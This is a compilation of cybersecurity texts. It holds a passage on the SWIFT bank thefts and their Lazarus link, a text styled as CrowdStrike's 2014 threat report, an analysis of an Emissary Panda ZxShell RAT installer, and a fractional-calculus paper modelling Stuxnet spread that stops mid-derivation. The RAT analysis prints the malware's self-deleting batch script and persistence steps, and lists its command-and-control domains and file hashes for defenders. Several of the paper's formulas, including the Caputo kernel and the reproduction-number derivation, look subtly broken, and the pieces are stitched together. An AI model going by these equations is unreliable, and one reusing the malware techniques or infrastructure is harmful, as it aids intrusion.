In its May 13 customer alert, SWIFT warned that beyond Bangladesh Bank, it was aware of a "small number" of similar cases at other banks, involving attackers successfully infecting an unnamed PDF reader used at victim banks, which could be used to alter statements and disguise fraudulent transfers. Its alert did not name TPBank. British defense contractor BAE Systems on May 13 released research saying that "a commercial bank in Vietnam ... also appears to have been targeted in a similar fashion using tailored malware, but based off a common code base."
Threat-intelligence firm iSight Partners says there is at least one more victim that has not yet been publicly disclosed. "We believe that at least three financial institutions in the region were affected by these actors, and in two instances, malware was deployed that had functionality specifically associated with SWIFT fraud," the firm says in a research note that also names the PDF reader targeted by attackers. "The malware used to target the Vietnamese bank replaces Foxit's popular PDF reader software to mask records of SWIFT transactions when read," iSight Partners says. "When reports are read through the PDF reader, SWIFT records are altered to remove traces of fraudulent transactions."
## The Lazarus Group Connection
Based on its digital forensic investigation, BAE Systems said the malware appeared to be tied to the Lazarus Group, as detailed in a February report into Operation Blockbuster that was coordinated by anti-fraud and analytics firm Novetta. BAE Systems said the group also appeared to use a code compiler named Kordllbot and to have focused its attacks on organizations in South Korea and the United States. The Novetta report said the Lazarus Group "has been active since at least 2009, and potentially as early as 2007, and was responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment."
BAE Systems said that it did not have enough evidence to incontrovertibly attribute the Bangladesh and Vietnamese bank hacks to the same group that hacked Sony. But it said currently available evidence strongly suggests a connection. "We believe that the same coder is central to these attacks," it said. "Who the coder is, who they work for, and what their motivation is for conducting these attacks cannot be determined from the digital evidence alone."
## Who's Responsible for Securing SWIFT?
The bank hacking campaign has revealed uneven information security practices at some SWIFT-using banks. In the wake of the February theft from Bangladesh Bank, which came to light in March, bank officials publicly said the Federal Reserve Bank of New York and SWIFT were at least partially to blame. But the New York Fed fired back, saying that it had honored valid SWIFT requests, and SWIFT said that the attackers had been able to gain access to Bangladesh Bank's back-end systems and submit what appeared to be legitimate SWIFT messages.
A subsequent Bangladesh police investigation reportedly concluded that a SWIFT technician left exploitable loopholes after connecting the bank to SWIFT's network to facilitate real-time payments. But other reports suggested that the bank lacked robust passwords and authentication controls, or even firewalls. On May 10, representatives from SWIFT, Bangladesh Bank, and New York Fed met to discuss the attack and related investigations and issued a joint statement pledging greater cooperation.
SWIFT has also continued to urge all customers to conduct a top-to-bottom review of their security defenses. "Please remember that as a SWIFT user you are responsible for the security of your own systems interfacing with the SWIFT network and your related environment - starting with basic password protection practices - in much the same way as you are responsible for your other security considerations," its May 13 security alert reads. "Whilst we issue, and have recently reminded you about, security best practice recommendations, these are just a baseline and general advice." |
# CrowdStrike Global Threat Intelligence Report 2014
## Introduction
At CrowdStrike, “Intelligence powers everything we do.” This is not a corporate slogan, and it is not a marketing theme. It is the realization of having the most dedicated professionals focusing on solving problems that have real strategic, political, and financial impact on our customers. When we consider the problems facing our customers, we know that intelligence allows them to make key decisions that can mean the difference between disaster and triumph.
In the earliest days building CrowdStrike, we drew heavily on the concepts encompassed in Colonel John Boyd’s OODA loop (OODA is an acronym for Observe, Orient, Decide, Act). The core of the OODA model is that a decision-making process is broken into phases, and in an adversarial encounter, two entities will go through the same process. Whichever entity goes through the process the fastest will likely prevail.
The reason that intelligence powers everything we do is that we seek to provide our customers with the ability to come to a decision (the last step of the OODA loop) before the adversary does, thus ensuring a favorable outcome. In intelligence circles, this is often referred to as decision advantage, and when dealing with adversaries trying to compromise your enterprise security, you want it.
Throughout 2014, the activity monitored by CrowdStrike in the cyber domain was reflective of the events unfolding in the real world. This was punctuated in late 2014 with the now-infamous attack attributed to North Korean actors who levied destructive malware in a flagrant assault against a private entity. The actor in this case, which CrowdStrike has traced back to 2006, has a history of using destructive code against its targets. This actor again launched attacks in December against its usual adversary, the Republic of Korea.
The highly publicized events that initially suppressed the release of a movie deemed offensive by the Democratic People’s Republic of Korea resulted in unprecedented awareness of the power that one adversary can wield against a target if they are suitably motivated.
This final chapter in 2014 closed out what was a year of attribution and adversary focus. In May, the U.S. Department of Justice, in concert with various partners including CrowdStrike researchers, disrupted the infrastructure of Gameover Zeus, a prolific botnet that was the scourge of security practitioners across the globe. This disruption, which also impacted the nefarious CryptoLocker malware, provided the pause in adversary activity needed by law enforcement to levy charges and take legal action to permanently impact this malware.
In that same month, the U.S. Department of Justice charged five officers in the People’s Liberation Army, the military organ of the People’s Republic of China, with violating 18 U.S. Code § 1030. In June, CrowdStrike published a detailed analysis of an actor associated with the 12th Bureau of the Third General Staff Department. This report demonstrated a direct lineage between malware targeting a variety of western technology and government targets, and an individual in the Chinese intelligence service.
The events that unfolded in the South China Sea near the Paracel Islands, the emergence of ISIS, the unrest in Ukraine, and the disappearance of a Malaysian airliner all took on a cyber element. This is no coincidence. The nation-states of the world are all seeking the aforementioned decision advantage, and they know that the use of interconnected computers allows them to collect intelligence that gives them the ability to make informed decisions.
Our customers rely on us to provide them intelligence to thwart these attacks and make informed decisions. This report will provide an overview of some of the intelligence analyzed by the CrowdStrike team over the past year.
Wrapping so much analysis into one report means a lot of tough decisions needed to be made on what to include. This report is structured to provide Key Findings first. Following the key findings are some graph data based on the patterns that emerged through visibility attained by the CrowdStrike team; this is meant to provide a snapshot of the dozens of adversaries tracked this year. In the Notable Activity section, we cover the three motivations that we see: Criminal, Targeted-Intrusion, and Hacktivist/Activist. We explore notable activity around zero-day exploits and event-specific operations conducted by these adversaries. There are so many interesting actors we discovered this year, and even more that advanced from previous years; the Know the Adversary section contains interesting observations for just a few of the adversaries from the intelligence reports we publish through the subscription service. Finally, we provide an analysis of the 2013 report predictions for the past year, and a forecast of what to expect in 2015.
## Key Findings
In 2014, it became abundantly clear that threat intelligence would provide the decisive advantage when protecting your network.
- Financial crime malware disruptions in 2014 changed the threat landscape by eliminating two prevalent malware families.
- Since the high-profile Target breach in 2013, Point-of-Sale (PoS) malware became prevalent in the targeting of numerous retail organizations. Look for policy and process changes to mitigate this threat in 2015.
- China-based adversaries continued to be the most prolific in the targeted intrusion space, but public reporting on a number of actors linked to Iran and Russia show the breadth of the threat from targeted intrusion operators.
- High-profile events continued to drive a significant number of targeted intrusion campaigns. In 2014, unpredictable events such as the Malaysia Airlines incidents and increased unrest in Ukraine drove campaigns more than planned events such as the World Cup or the G20 Summit.
- Malicious activity related to elections in Ukraine and Hong Kong underscore the threat state-sponsored adversaries (and possibly hacktivist or nationalist actors) pose to democratic processes.
- CrowdStrike reported on a number of new, sophisticated adversaries from China and Russia such as HURRICANE PANDA, GOTHIC PANDA, FANCY BEAR, and BERSERK BEAR.
## State of the Union
During 2014, CrowdStrike Intelligence observed significant activity from 39 different criminal, hacktivist, state-sponsored, and nationalist adversaries targeting numerous verticals all over the globe. The charts below provide a high-level illustration of this targeting. There are a few takeaways from this data.
Vietnam and GOBLIN PANDA were respectively the most targeted country and the most active adversary. From late spring through summer, GOBLIN PANDA conducted consistent targeted intrusion operations targeting organizations in Vietnam focused on tensions in the South China Sea. These campaigns relied primarily on spear phishing with malicious documents that dropped malware (mostly PlugX) along with Vietnamese-language decoy documents. The content of these decoys often came from documents produced by Vietnam’s government, which indicates that the adversary possibly infiltrated the government’s network and was using stolen documents in its operations. The frequency of GOBLIN PANDA’s operations, and targeted activity aimed at Vietnam in general, tailed off in the final months of 2014, but the volume of activity in spring and summer was enough to push them to the top of CrowdStrike’s targeting stats.
PlugX was by far the most used malware variant for targeted activity during 2014. It proliferated greatly amongst China-based targeted intrusion adversaries and now appears to be the tool of choice for many. The malware has been around for years and has been used by multiple Chinese actors for quite some time; however, the frequency of PlugX use during 2014 revealed just how prominent it is.
PlugX is used by both more advanced China-based adversaries such as AURORA PANDA and adversaries of a lower level of sophistication such as GOBLIN PANDA. The reason for its prevalence is not clear. It is possible that there is a central malware dissemination channel supplying many Chinese adversaries and this is why so many groups are now using it. It is also possible that groups not using it in the past were more recently able to obtain it via the underground or public malware repositories.
The conflict in Ukraine resulted in targeted intrusion and other activity from both Russia-based and China-based adversaries. Adversaries with a nexus to Iran were also very active in 2014 targeting western government entities as well as private organizations, particularly in the defense sector. Elections were also heavily targeted in 2014 both in Ukraine and in Hong Kong, where the Umbrella Revolution garnered a great deal of attention from Chinese actors. These and a number of other topics are covered in more detail in the sections below.
## Notable Activity
2014 was an extremely active year for cybercrime. Financial Trojans grew in both complexity and penetration. Two major banking botnets – Gameover Zeus (GOZ) and Shylock – dominated the first half of the year. Their development focused on the ability to deliver complex web injection scripts used to overcome two-factor authentication and online banking security.
Two large, successful disruptions were mounted mid-year with CrowdStrike assisting in a June takeover of GOZ, and in Shylock being taken down in July. For some time, this left a void in this space, but adversaries were very quick to adapt. With many services that catered to GOZ and Shylock still in operation, it was inevitable other botnets would step up to the plate. CrowdStrike is now observing two new major contenders in this space: Dyreza and Dridex, also known as Bugat. Dyreza takes a more simplistic approach to banking fraud, acting to intercept logins and perform malicious actions by acquiring the HTTP POST data from under banking SSL sessions. Dridex uses the classic banking Trojan tactic of relying on complex JavaScript web injects targeted at the institutions it wishes to steal from. Both threats rely on the same criminal ecosystem as their predecessors.
In addition to the changing banking Trojan landscape, ransomware has also undergone a major shift throughout 2014 — in particular becoming much more professionally organized. CryptoLocker’s success made it the first ransomware variant to make it into prime-time news. Its success was, in part, due to its wide distribution, acting as an alternative revenue stream for the operators of GOZ. When GOZ was dismantled, CryptoLocker was also taken down, but now in its place many other copycat ransomware families are trying to replicate its success, such as CryptoWall and TorrentLocker.
So what is to be expected for the cybercrime landscape of 2015? CrowdStrike predicts the continuation of development in banking Trojans such as Dyreza and Dridex. As recently as November, Dridex has added Peer-to-Peer (P2P) functionality to its arsenal in an attempt to become more resilient, and it is likely changes in its capability will continue. In addition, it is likely new threats will follow the business model of using phishing lures delivered by spambots using a range of first-stage loaders to keep their primary payloads under the radar. Ransomware will continue to become more of a threat as continued copycats try to develop the next market leader.
## Conclusion
The CrowdStrike Global Intelligence team observed significant activity from 39 different criminal, hacktivist, state-sponsored, and nationalist adversaries. The report provides an overview of the intelligence analyzed by the CrowdStrike team over the past year, highlighting key findings, notable activities, and the evolving threat landscape. The insights gained from this analysis will help organizations better understand the threats they face and improve their defenses against cyber adversaries. |
# Emissary Panda APT: Recent Infrastructure and RAT Analysis
**Summary**
Emissary Panda, a group that goes by many names (APT27, IronTiger, BronzeUnion, TG-3390, and LuckyMouse), is a Chinese APT that is suspected of being active for nearly a decade. This group has been known to target aerospace, government, defense, technology, energy, and manufacturing sectors. Not much activity has been publicly recorded on this group as of late, but research indicates they are not dormant.
**Analysis**
While performing research, I identified a suspect binary titled “odbcad32.exe”. What immediately piqued my interest was that this binary, while having the appearance of the legitimate “Open Database Connectivity Data Source Administrator utility” by Microsoft, was not signed with a Microsoft certificate. Instead, this binary was signed with a certificate belonging to “Hangzhou Bianfeng Networking Technology Co., Ltd.”. Open source research on this company name indicates that it is a Chinese software company, and a subsidiary of the media organization “Zhejiang Daily Digital”, which is headquartered in Hangzhou, China.
At this point, I decided to dig deeper into this binary and see why it was attempting to disguise itself as a legitimate Microsoft utility. Upon execution, the binary would elevate privileges and drop two files - `odbccx32.dll` in the `C:\Windows\system32\` folder, and a randomly named batch file in the user’s local temp folder.
```batch
@echo off
:err
del "c:\Users\[Username]\Desktop\odbcad32.exe" >nul
if exist "c:\Users\[Username]\Desktop\odbcad32.exe" goto err
>nul
@echo on
del "c:\Users\[Username]\AppData\Local\Temp\[random].bat"
```
Net.exe was then launched with the parameters “stop “Remote Registry Configuration””. Next, `rundll32.exe` loads the aforementioned `odbccx32.dll`, and then another `net.exe` is launched with the parameters “start “Remote Registry Configuration””. Once the malicious DLL is loaded via `rundll32.exe`, it then establishes persistence via a new service. `Cmd.exe` then executes the dropped batch file, which deletes the originally executed file, as well as the batch file itself.
Following this, `Svchost.exe` is executed and loads the malicious `odbccx32.dll`. It then drops the file `autochk.sys` in the `C:\Windows\system32\drivers\` folder, and reads the hosts file located in the `C:\Windows\system32\drivers\etc\hosts` folder (this file contains the mappings of IP addresses to host names). Command & Control is then initiated to “yofeopxuuehixwmj.redhatupdater.com” over ports 53, 80, and 443. While this domain currently resolves to 80.85.153.176, no response was received from probing attempts, and no secondary payload was observed.
The TTP’s (Tactics, Techniques, and Procedures) observed in this sample are consistent with those seen in past attacks conducted by the Emissary Panda APT group, specifically in relation to the ZxShell Remote Access Trojan (RAT) which they have been observed using. I then pivoted into VirusTotal’s relational graphing utility to see if I could gather additional information on this campaign’s infrastructure. This revealed four structurally similar binaries that I suspect of also being ZxShell RAT installers - one of which beaconed to the same Command & Control server as the original sample (yofeopxuuehixwmj.redhatupdater.com). The second and third binaries beaconed to language.wikaba.com and solution.instanthq.com - both of which have been documented as being Command & Control servers for past Emissary Panda APT campaigns. I was unable to confirm the fourth binary being a ZxShell RAT installer, which beacons to awvsf7esh.dellrescue.com, however VirusTotal deems that it is structurally similar to previously confirmed installers. Please note that the domain “dellrescue.com” has been documented by Cylance as having been used in a campaign conducted by PassCV APT group in 2016, although the subdomain utilized was different (sc.dellrescue.com).
At this time, I was unable to obtain evidence of target attribution - however in the past Emissary Panda APT has been observed targeting Asia, Middle East, US, and UK based organizations and infrastructure. What struck me as most interesting from my analysis of this sample was how the Emissary Panda APT group was able to obtain a valid certificate to sign their Remote Access Trojan binary, which sparks the question - was this group able to compromise the Chinese based software company and steal their certificate(s), or are there possible insider threats lurking within? Regardless, it is an interesting sample and displays that Emissary Panda is still active.
**Indicators**
| Indicator | Type | Description |
|------------------------------------------------------|--------------|--------------------------------------------------|
| 70cff7c176c7df265a808aa52daf6f34 | MD5 | odbcad32.exe - ZxShell RAT Installer |
| 37fc73c754ef2706659a18837a90ddaa | MD5 | odbcad32.exe - ZxShell RAT Installer |
| A9C2FF438C73E865624EEB0763235A14 | MD5 | odbccx32.dll - ZxShell RAT service |
| yofeopxuuehixwmj.redhatupdater.com | Domain | ZxShell RAT Command & Control server |
| 1b2d75f9c7717f377100924cdbdb10b1 | MD5 | odbcad32.exe - Unconfirmed ZxShell RAT Installer |
| awvsf7esh.dellrescue.com | Domain | Unconfirmed ZxShell RAT Command & Control server |
| 850df4a726a71f50d3cc7192c8cf7e6a | MD5 | odbcad32.exe - older ZxShell RAT Installer from 2018 |
| b7f958f93e2f297e717cffc2fe43f2e9 | MD5 | odbcad32.exe - ZxShell RAT Installer previously documented by Dell SecureWorks CTU |
| language.wikaba.com | Domain | ZxShell RAT Command & Control server previously documented by Dell SecureWorks CTU |
| solution.instanthq.com | Domain | ZxShell RAT Command & Control server previously documented by Dell SecureWorks CTU | |
# Fractional Dynamics of Stuxnet Virus Propagation in Industrial Control Systems
**Zaheer Masood** 1, **Muhammad Asif Zahoor Raja** 2,*, **Naveed Ishtiaq Chaudhary** 2, **Khalid Mehmood Cheema** 3, **Ahmad H. Milyani** 4
1. Department of Electrical and Electronics Engineering, Capital University of Science and Technology, Islamabad 44000, Pakistan; [email protected]
2. Future Technology Research Center, National Yunlin University of Science and Technology, 123 University Road, Section 3, Douliou 64002, Taiwan; [email protected]
3. School of Electrical Engineering, Southeast University, Nanjing 210096, China; [email protected]
4. Department of Electrical and Computer Engineering, King Abdulaziz University, Jeddah 21589, Saudi Arabia; [email protected]
* Correspondence: [email protected]
**Abstract:** The designed fractional order Stuxnet virus model is analyzed to investigate the spread of the virus in the regime of isolated industrial networks by bridging the air-gap between traditional and critical control network infrastructures. Removable storage devices are commonly used to exploit the vulnerability of individual nodes, as well as the associated networks, by transferring data and viruses in the isolated industrial control system. A mathematical model of an arbitrary order system is constructed and analyzed numerically to depict the control mechanism. A local and global stability analysis of the system is performed on the equilibrium points derived for the value of α = 1. To understand the depth of fractional model behavior, numerical simulations are carried out for the distinct order of the fractional derivative system, and the results show that fractional order models provide rich dynamics by means of fast transient and super-slow evolution of the model’s steady-state behavior, which are seldom perceived in integer-order counterparts.
**Keywords:** fractional-order virus models; Stuxnet virus; numerical computing; supervisory control and data acquisition systems; computer networks; Lyapunov analysis
## 1. Introduction
A small piece of software code or program in a computer system that works on a system without the consent of the user may cause damage or steal information for the exploitation of the desired targets. In strategic conflicting environments, as well as in the financial market, computer viruses can be used in a network operation as a digital weapon against the desired targets, e.g., a computer spyware program used as an information collection platform in the Syrian war, or Shamoon and Stuxnet viruses for cyber incidents. The tools used for cyberwar vary from a tiny code that exhibits annoying messages on the console to a complicated routine that physically damages the system, such as Stuxnet. Stuxnet was discovered at Natanz, Iran, a nuclear enrichment facility, in June 2010. The name of the Stuxnet virus was derived from two keywords in its source code, .stub and mrxnet.sys. The Stuxnet virus is a sophisticated piece of code that mainly targets the supervisory control and data acquisition systems (SCADA), exploits zero-day vulnerabilities/bugs to attack the targeted hosts, and uses advanced technology to hide from guard programs. The Stuxnet virus exploits different services, such as a print spooler (MS 10-061), the zero-day vulnerability of the Windows system, network shares, file-sharing, and server message block (SMB), etc. Stuxnet virus monitors the frequency of motors operating centrifuge machines before modification, which must be in the range of 807 Hertz to 1210 Hertz. Stuxnet virus controls the running frequency of centrifuge machines for a short interval of time to 1410 Hertz and then decreases to 2 Hz and increases to 1064 Hertz. A change in the output frequency of the motors essentially sabotages the working of machines. Due to the attack of the Stuxnet virus, approximately 1000 centrifuge machines were out of order, of a total of 5000 machines operating in the Iran nuclear facility at Natanz. The purpose of the virus was not just to infect the computers, but to cause real-world physical damage.
A theoretical study of Stuxnet’s malicious code behavior was conducted through the strength of epidemic modeling of virus spread. The control scheme of these malicious codes is very challenging because they often hide, and may exploit zero-day vulnerabilities, gain administrative rights, and execute code as an authenticated program. The development in technologies creates new issues regarding the safety and security of the critical infrastructure of the countries in the presence of these vulnerabilities and smart viruses. The desire to manufacture an automated process immensely increases software dependencies, which ultimately require lengthy and complex routines. These complex codes are challenging to screen out completely using software testing mechanisms, and leftover vulnerabilities in these codes can compromise the whole system. Therefore, the comprehensive and dynamic study of these codes is a promising domain for research communities to investigate.
The spread of the virus in a computer network is closely related to the spread of biological viruses in the population. Mathematical and statistical models are often based on concepts and methods borrowed from physics. Models play an important role in infection control by quickly predicting and understanding disease outbreaks. In recent decades, new infectious diseases have been observed, together with the development of eliminated technologies. The ability to quickly measure the unfolding of outbreaks, communications, and movements is key to capturing the spread of a virus. The inherent complexity of such methods limits the study of these processes. However, developments in technology are helping to lift these limitations. Classical approaches and linear thinking are unable to effectively mitigate the problem due to the lack of equilibrium and non-linear nature of the problems. A complex system, its counter-intuitive behavior, and other macro-level changes can be addressed by applying complex sciences. The usual models did not provide an in-depth picture of real system dynamics because these systems neglect feedback scenarios, cascade effects, and instabilities. To predict the global-scale spread of disease dynamics, several factors, such as demographic disparity, mobility scenarios which include air-flow system, commuter movement in the area, disease-specific information, and control mechanisms, should be accounted for. There has long been work on the development of mathematical models for use in the analysis of infectious disease behavior. The mathematical model of Daniel Bernoulli against smallpox disease was published in 1766. Mathematical models of these types were designed to elaborate the behavior of an epidemic over the course of time, in which every single population of the virus is assumed to interact with the individual of other populations. The ability to monitor hidden outbreaks, as well as contact and communication, are key to the portrayal of disease-spreading. It is known that immunizing a large fraction of the population or a computer network, the epidemic that spreads upon contact between infected nodes or individuals can be stopped. Some diseases require 80–90% immunization (measles requires 95%), and the same is true for the computer, where 100% immunization from the Internet may stop viruses in connected networks. Mathematical modeling of infectious disease or viruses in biology or in computer systems gives us a thorough understanding of the problem and helps us to devise a reliable, viable, and robust control strategy. It was observed that the state of the various biological organisms at a certain time depends on its past states and fractional derivatives that also contain those characteristics. Thus, a fractional derivative is a natural approach to the solution of these biological systems. Mathematical modeling is used in numerous disciplines of science and engineering problems. Kermack and McKendrick founded mathematical modeling at the beginning of the twentieth century with a series of publications and introduced a susceptible, infected, and recovered epidemic model. In this field, several other scientists, biologists, computer engineers, and mathematicians have worked on epidemic modeling and published work in this area, such as time delay virus models, a fractional epidemiological model, antivirus strategy for computer virus model, modified susceptible, infected, and susceptible models, and epidemic models with two control mechanisms, quarantine and immunity, and models that highlight the topological facets of the network. Besides these, the role of fundamental concepts and underlying theories of fractional calculus was effectively applied in modeling complex systems in diversified fields with rich dynamics compared to its integer counterparts. Considering these facts, the current study aims to exploit the rich heritage of fractional dynamics for the development of the fractional Stuxnet virus model by using the features of the Stuxnet model to illustrate the virus spread in SCADA systems. In this study, a fractional-order mathematical model of the Stuxnet virus is presented to study the ultra-fast transient and slow evolutions of the virus spread dynamic and attack pattern on isolated critical infrastructures, managed by industrial control computers. The contribution of the proposed fractional Stuxnet virus model is briefly described as:
- A novel fractional-order Stuxnet virus model is proposed by exploiting the rich heritage of fractional calculus in an isolated and air-gapped network environment.
- Stability analysis of the Stuxnet virus model for both local and global equilibrium points when disease-free and endemic spread is performed.
- Correctness of the proposed Grunwald–Letnikov-based fractional numerical solver is ascertained, with close results to the state-of-the-art Runge–Kutta numerical solver for integer-order variants of the model.
- Numerical simulation with Grunwald–Letnikov-based fractional numerical solver for a distinct order of the fractional derivative terms in the system shows that fractional-order models offer rich characteristics by way of ultra-fast transience and ultra-slow advancements of steady-state.
## 2. Fractional Calculus Fundamentals
### 2.1. Preliminaries
Fractional calculus is a branch of mathematics and a generalization of the calculus theory of integrals and derivatives of a real number or complex number power. The discussion of fractional calculus was started 300 years ago, and the idea of fractional calculus was first listed in the literature with a letter from Leibniz to L’Hospital in 1696. In this letter, a half-derivative term was introduced, i.e., the generalization of the derivative operator D^α f(), where α represents the order of a fractional derivative. The history of the fractional derivative is as long as the classical differential operators in calculus, but the inherent strength of the fractional operator is relatively less exploited in engineering domains until the early 1980s. The physical interpretation of the fractional derivative outcomes is still ambiguous and remained an open debate for clarity in the research community. However, the fractional derivative is an inspiring operator to describe the physics of many modeling phenomena, which are difficult to realize through integer-order derivatives. Recently, the kernel function of a fractional derivative is referred to as a memory function, and fractional-order derivative is proposed as a memory index with different types of kernel. The theory development of fractional calculus belonged to the efforts of several scientists, such as Letnikov, Liouville, Euler, and Riemann. Different definitions of fractional order derivatives have existed; the most-used definitions are those of Riemann–Liouville (RL), Caputo (CP), and Grunwald–Letnikov (GL). The GL definition of fractional derivative is as follows:
\[
D^α f(t) = \lim_{h \to 0} h^{-α} \sum_{m=0}^{(t-a)/h} (-1)^m \binom{α}{m} f(t-mh), \quad t > a, a > 0.
\]
The definition of Caputo's fractional derivatives can be written as:
\[
D^α f(t) = \frac{1}{\Gamma(n-α)} \int_a^t (t-x)^{α-n+1} f^{(n)}(x) dx, \quad (n-1 < α < n),
\]
where Γ(·) is a gamma function. The RL definition is given as:
\[
D^α f(t) = \frac{1}{\Gamma(n-α)} \int_a^t \frac{d^n}{dx^n} f(x) (t-x)^{α-n+1} dx, \quad (n-1 < α < n),
\]
while a and t are the bounds of the operation for \( aD^α f(t) \). The Laplace transform method is normally used with CP, GL, and RL fractional derivatives under zero initial conditions, as:
\[
\mathcal{L}\{aD^α f(t); s\} = s^{α} F(s),
\]
while the analytical expressions are represented by Mittag–Leffler (ML)-type functions introduced by Agarwal and Humbert and are given mathematically as:
\[
E_{\alpha, \beta}(z) = \sum_{k=0}^{\infty} \frac{z^k}{\Gamma(\beta + α k)},
\]
where \( α, β, z \in \mathbb{C}, \mathbb{R}(α) > 0, \mathbb{R}(β) > 0 \), where C represents the set of complex numbers and \( E_{\alpha, \beta} \) is a two-parameter-based ML function.
### 2.2. Grunwald–Letnikov-Based Numerical Solver for FDEs
Analytical solutions to the fractional differential equations (FDEs) are generally determined through the Laplace transform method, and these expressions are commonly represented by the ML function, while for the numerical solutions, the most commonly used method is based on the GL definition. To introduce the numerical solver based on GL for FDEs, let a general form of an FDE, along with its initial conditions, be given as follows:
\[
D^α f(t) = f(y(t), t), \quad y^{(k)}(0) = y^{(k)}_0, k = 0, 1, 2, \ldots, n-1,
\]
where \( (n-1 < α < n) \), using the GL definition, Ivo Petras provided the final recursive expression of a GL-based solver as follows:
\[
h^{α} \sum_{j=0}^{m} (-1)^j \binom{α}{j} y(t-mh) \approx f(y(t), t),
\]
simplifying the above relation, we have:
\[
y(t) + h^{α} \sum_{j=1}^{m} (-1)^j \binom{α}{j} y(t-mh) \approx h^{-α} f(y(t), t).
\]
In the case of discrete input grids between interval \( t \in [0, T] = [0, h, 2h, \ldots, Mh = T] \), where h represents the step size parameter, so \( [0, T] = [t_0 = 0, t_1, \ldots, t_M = T] \) and any grid points in the interval are represented as \( t_m = mh \) for \( m = 0, 1, 2, \ldots, M \). Thus, in a discrete form, the above equation is written as:
\[
\sum_{j=1}^{m} c(α)_j y(t_m - jh) = h^{-α} f(y(t_m), t_m), m = 0, 1, 2, \ldots, M,
\]
where \( c(α)_j = (-1)^j \binom{α}{j} \) is defined as \( c(α)_0 = 1 \).
The GL numerical solver in the recursive form is written as:
\[
y(t_m) = f(y(t_m), t_m) h^{-α} - \sum_{j=1}^{k} c(α)_j y(t_m - jh), m = 0, 1, 2, \ldots, M.
\]
A further elaboration of the Grunwald–Letnikov (GL)-based numerical solver can be seen in the literature.
## 3. Model Formulation of Fractional Order Stuxnet Virus
The formulation of a fractional-order Stuxnet virus model (FO-SVM) is presented here. A detailed workflow of the proposed FO-SVM is shown in Figure 1. The entire FO-SVM is segmented into five classes: three for computer population, i.e., susceptible S(t), infected I(t), and damaged M(t), and two for removable storage media, i.e., susceptible storage media Us(t) and infected storage media UI(t). However, N(t) represents the total population, i.e., \( N(t) = S(t) + I(t) + M(t) \), and total removable devices \( U(t) = Us(t) + UI(t) \). In the rest of the article, the variables with respect to time, \( S(t), I(t), M(t), Us(t), UI(t), N(t), \) and \( U(t) \) are denoted by \( S, I, M, Us, UI, N, \) and \( U \), respectively. Let \( A_1 \) and \( A_2 \) represent the arrival of new computing nodes and removable storage media, respectively, damage rate caused to PLCs due to virus infection is represented by ρ, \( β_1 \) is the infectious contact rate of susceptible nodes with infected nodes during the network scan, and \( β_2 \) denotes the contact rate of infectious removable storage media with susceptible computer nodes, \( r_1 \) and \( r_2 \) represent the natural removal (death) of computer nodes and removable devices from the network, respectively. The number of nodes in Internet protocol version 4 (IPv4) is \( 2^{32} \), and the probability of finding susceptible nodes in IPv4 scheme is \( S/2^{32} \). Susceptible nodes can be infected at the rate \( β_1SI \) or at \( β_2SUI/N \), while the removable storage media could be infected at a rate of \( β_2UsI/N \). Removable storage media is a common source of virus spread in critical industrial air-gapped networks, which are isolated from normal networks. The removable storage devices facilitate the flow of information to and from the networks that make them an easy prey for intruders. In this study, a fractional-order virus model is used to explain the spread of the virus, especially Stuxnet in industrial networks through removable storage media. A proposed flowchart diagram of the Stuxnet virus model is shown in Figure 2, and the fundamental mathematical equations of the model are given as:
\[
D^α S = A_1 - β_1SI/2^{32} - β_2SUIN - r_1S,
\]
\[
D^α I = β_1SI/2^{32} + β_2SUIN - ρI - r_1I,
\]
\[
D^α M = ρI - r_1M,
\]
\[
D^α Us = A_2 - β_2UsIN - r_2Us,
\]
\[
D^α UI = β_2UsIN - r_2UI,
\]
where \( α \in [0, 1] \) represents the order of the fractional derivative term \( D^α = d^α/dt^α \). For the value of \( α = 1 \), the above-mentioned FO-SVM system provided in a set of equations will be converted into a first-order system. From the differential equations mentioned, solving the equations by taking the value of \( α = 1 \), we get:
\[
\frac{dN}{dt} = A_1 - r_1N,
\]
\[
\frac{dU}{dt} = A_2 - r_2U.
\]
The change in population is given by \( c_1 = A_1 - r_1 \) and \( c_2 = A_2 - r_2 \), and the values of these constants may be negative, positive, or zero.
### 3.1. Equilibrium Studies
The FO-SVM model has virus-free equilibrium and endemic equilibrium points. In the endemic equilibrium point, the spread of infection is observed. For equilibria studies, we have:
\[
D^α I = 0, D^α M = 0, D^α UI = 0,
\]
equilibrium points of system for virus-free and endemic areas: \( K_0 = (I, M, UI) = (0, 0, 0) \) and \( K^* = (I^*, M^*, U^*_I) \) for \( R_0 > 1 \).
The analysis for the endemic equilibria of model is written as:
\[
β_1(N^* - I - M)I/2^{32} + β_2(N^* - I - M)UIN^* - ρI - r_1I = 0,
\]
\[
ρI - r_1M = 0,
\]
\[
β_2(U^* - UI)I/N^* - r_2UI = 0.
\]
Solving the equations in set, we obtain the expressions for the endemic equilibrium point \( (I^*, M^*, U^*_I) \) as:
\[
I^* = \frac{-b \pm \sqrt{b^2 - 4ac}}{2a},
\]
\[
M^* = \frac{ρ}{r_1}I^*,
\]
\[
U^*_I = \frac{β_2U^*β_2I^* + r_2N^*I^*}{β_2}.
\]
## 4. Model Analysis
In this unit, stability analysis of the model is performed through the derivation of the basic reproduction number, \( R_0 \). The endemic and disease-free equilibrium points of the system are investigated for a local as well as global stability analysis.
### 4.1. Basic Reproduction Number \( R_0 \)
In epidemiology modeling, a basic reproduction number is defined as the advent of a new infection in an entirely susceptible population due to an infected individual, and is usually represented by \( R_0 \). The value of \( R_0 \) determines the spread of infection; for \( R_0 > 1 \) infection will spread in the population, and for \( R_0 < 1 \) infection will soon end.
To simplify the derivation process, a reduced model has been utilized for further investigation of \( R_0 \). The calculation of \( R_0 \) is based on the value of \( α = 1 \). The necessary condition of a disease epidemic is based on the increase in the infected individuals, with the supposition that, initially, the entire population is susceptible.
For the case of \( D^α I > 0 \), we have \( D^α UI > 0 \):
\[
β_1(N^* - I - M)I/2^{32} + β_2(N^* - I - M)UIN^* - ρI - r_1I > 0,
\]
and, accordingly, in case of \( D^α UI > 0 \), we have:
\[
β_2(U^* - UI)I/N^* - r_2UI > 0.
\]
With the assumption that all the population is susceptible at the start, the above expressions may be written as:
\[
β_1N^*I/2^{32} + β_2N^*UIN^* - ρI - r_1I > 0,
\]
\[
β_2U^*I/N^* - r_2UI > 0.
\]
Simplifying the above relations, we have:
\[
β_1N^*(ρ + r_1)/2^{32} + β_2^2U^*r_2N^*(ρ + r_1) > 1.
\]
Accordingly,
\[
R_0 = \frac{β_1N^*}{2^{32}(ρ + r_1)} + \frac{β_2^2U^*r_2N^*(ρ + r_1)}{2^{32}}.
\]
Equation represents the basic reproduction number derived for the model.
